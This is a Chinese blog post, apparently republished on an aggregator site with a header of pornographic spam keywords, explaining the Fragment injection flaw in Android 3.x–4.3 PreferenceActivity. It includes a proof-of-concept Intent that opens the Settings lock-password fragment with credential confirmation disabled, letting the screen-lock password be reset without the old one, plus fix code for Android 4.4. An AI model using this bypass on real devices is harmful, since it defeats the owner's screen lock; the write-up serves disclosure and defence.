日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > Android >内容正文

Android

Android框架攻击之Fragment注入

發布時間:2025/3/15 Android 16 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Android框架攻击之Fragment注入 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

為了適應越來越大的設備屏幕,Android在3.X后引入了Fragment概念,作用是可以在一個屏幕上同時顯示多個Activity,以達到充分利用屏幕的目的。關于Fragment的使用說明,可以閱讀《Android Fragment完全解析,關于碎片你所需知道的一切。其中,Fragment有一個很強大的功能,就是可以動態加載。這樣可以讓整個界面的開發更加靈活,可以根據不同的場景動態加加載不同的Activity。

回到今天的主題——利用Fragment實現注入攻擊。從3.X后,android工程師重構PreferenceActivity的實現,采用Fragment實現界面的加載。通過閱讀源碼可以發現,PreferenceActivity的onCreate里,需要讀取Intent的多個extra內容,常量都定義在PreferenceActivity里(那堆EXTRA_XXXX就是了),其中有兩個常量分別是EXTRA_SHOW_FRAGMENT=":android:show_fragment"EXTRA_SHOW_FRAGMENT_ARGUMENTS=":android:show_fragment_args",這兩個參數可以決定當前的PreferenceActivity首次顯示的Fragment。過程比較簡單,就是先拿到fragment_class和fragment_args,然后通過反射生成一個Fragment實例,并動態加載。關鍵源碼如下所示:


[java]?view plain?copy ?
  • mSinglePane?=?hidingHeaders?||?!onIsMultiPane();??
  • ????????String?initialFragment?=?getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);??
  • ???????Bundle?initialArguments?=?getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);??
  • ????????int?initialTitle?=?getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE,?0);??
  • ????????int?initialShortTitle?=?getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE,?0);??

  • 先獲取initalFragment和initialArguments兩個參數,之后在switchToHeaderInner里完成實例化:

    [java]?view plain?copy ?
  • private?void?switchToHeaderInner(String?fragmentName,?Bundle?args,?int?direction)?{??
  • ????????getFragmentManager().popBackStack(BACK_STACK_PREFS,??
  • ????????????????FragmentManager.POP_BACK_STACK_INCLUSIVE);??
  • ????????Fragment?f?=?Fragment.instantiate(this,?fragmentName,?args);??
  • ????????FragmentTransaction?transaction?=?getFragmentManager().beginTransaction();??
  • ????????transaction.setTransition(FragmentTransaction.TRANSIT_FRAGMENT_FADE);??
  • ????????transaction.replace(com.android.internal.R.id.prefs,?f);??
  • ????????transaction.commitAllowingStateLoss();??
  • ????}??

  • 到此為止,我們可以通過設置Intent的extral,實現動態修改PreferenceActivity的初次顯示的Fragment。

    我們知道,在Android系統里,App與App是互相隔離的,互相之間不能訪問對方的私有數據。App與App之間(更準確地說應該是組件與組件之間)的通訊,統一使用Intent。通過Intent可以很方便的喚起其他App的Activity,達到功能重用的目的。比如平時使用ZAKER,你需要在微信圈里分享,通過這種方式就可以直接跳到微信的分享界面了。但使用這種方式的前提是目標Activity是exported的。

    結合上面的兩個關鍵點,我們是否可以尋找一個exported的PreferenceActivity的子類,并通過精心設置Intent的extral的值,以實現打開那些沒有exported的界面呢?如果這些界面涉及安全方面信息的話,又會怎樣呢?

    Setting幾乎每個Android設備都有的。Setting是以system_uid方式簽名,所以具備行使system的權力。它的主界面com.android.settings.Settings就是繼承自PreferenceActivity,而且肯定是exported。我們以此作為入口,嘗試尋找Setting里有哪些重要的Fragment,并嘗試把它加載進來,主要目的是希望可以跳過某些需要用戶交互的限制。比如說ChooseLockPassword$ChooseLockPasswordFragment這個Fragment,這個類主要是負責鎖屏界面的密碼設定和修改。同時,這個類會根據之前傳入的initialArguments做不同的邏輯,關鍵代碼如下所示:

    [java]?view plain?copy ?
  • Intent?intent?=?getActivity().getIntent();??
  • ???????????final?boolean?confirmCredentials?=?intent.getBooleanExtra("confirm_credentials",?true);??
  • ???????????if?(savedInstanceState?==?null)?{??
  • ???????????????updateStage(Stage.Introduction);??
  • ???????????????if?(confirmCredentials)?{??
  • ???????????????????mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST,??
  • ???????????????????????????null,?null);??
  • ???????????????}??
  • ???????????}?else?{??
  • ???????????????mFirstPin?=?savedInstanceState.getString(KEY_FIRST_PIN);??
  • ???????????????final?String?state?=?savedInstanceState.getString(KEY_UI_STAGE);??
  • ???????????????if?(state?!=?null)?{??
  • ???????????????????mUiStage?=?Stage.valueOf(state);??
  • ???????????????????updateStage(mUiStage);??
  • ???????????????}??
  • ???????????}??

  • 如果傳入的參數當中,key為"confirm_credentials"為true,就會調起舊密碼驗證的流程。如果為false,就可以跳過舊密碼驗證而直接進入密碼修改的流程。測試代碼如下所示:

    [java]?view plain?copy ?
  • Intent?intent?=?new?Intent();??
  • ????????intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);??
  • ????????intent.setClassName("com.android.settings",?"com.android.settings.Settings");??
  • ????????intent.putExtra(":android:show_fragment",?"com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment");??
  • ????????intent.putExtra("confirm_credentials",?false);??
  • ??
  • ????????startActivity(intent);??

  • 正常的密碼修改流程是"設置"->"安全"->"屏幕鎖定"->"確認你的PIN",如所下圖所示:



    如果運行DEMO,則直接進入如下界面:




    這樣你直接輸入密碼,就可以把原來的密碼覆蓋掉了。

    這個BUG存在于3.X到4.3中的所有版本,4.4已經fix了。4.4強制所有PreferenceActivity必須要實現isValidFragment方法,詳細見這里


    個人總結:

    應該說,這種修復方式,只是起到一個提醒的作用,最終的安全還是交由開發者承擔。另外,目前很多應用都是基于2.X的,所以要兼容在4.4上跑而不crash,只要在PreferenceActivity的子類都補充加上isValidFragment方法就可以了。但對于4.4之前的版,如果存在這種權限泄露的問題,還是需要單獨處理的。下面給出兼容2.X~4.4修復的代碼示例:

    [java]?view plain?copy ?
  • public?final?class?MyPreferenceActivity?extends?PreferenceActivity?{??
  • ??????
  • ????private?boolean?doValidcheck(String?fragmentName)?throws?IllegalArgumentException{??
  • ????????//TODO?做合法性檢查??
  • ??????????
  • ????????return?true;??
  • ????}??
  • ??????
  • ????//添加上這個方法,以使2.x~4.3的代碼在4.4上可以正常運行??
  • ????protected?boolean?isValidFragment(String?fragmentName)?{??
  • ????????return?doValidcheck(fragmentName);??
  • ????}??
  • ??????
  • ????@Override??
  • ????protected?void?onCreate(Bundle?savedInstanceState)?{??
  • ????????//在onCreate前就做合法性判斷??
  • ????????String?fragmentname?=?getIntent().getStringExtra(":android:show_fragment");??
  • ????????doValidcheck(fragmentname);??
  • ??
  • ????????super.onCreate(savedInstanceState);??
  • ????}??
  • }??

  • 原文地址: http://blog.csdn.net/l173864930/article/details/17279165

    總結

    以上是生活随笔為你收集整理的Android框架攻击之Fragment注入的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。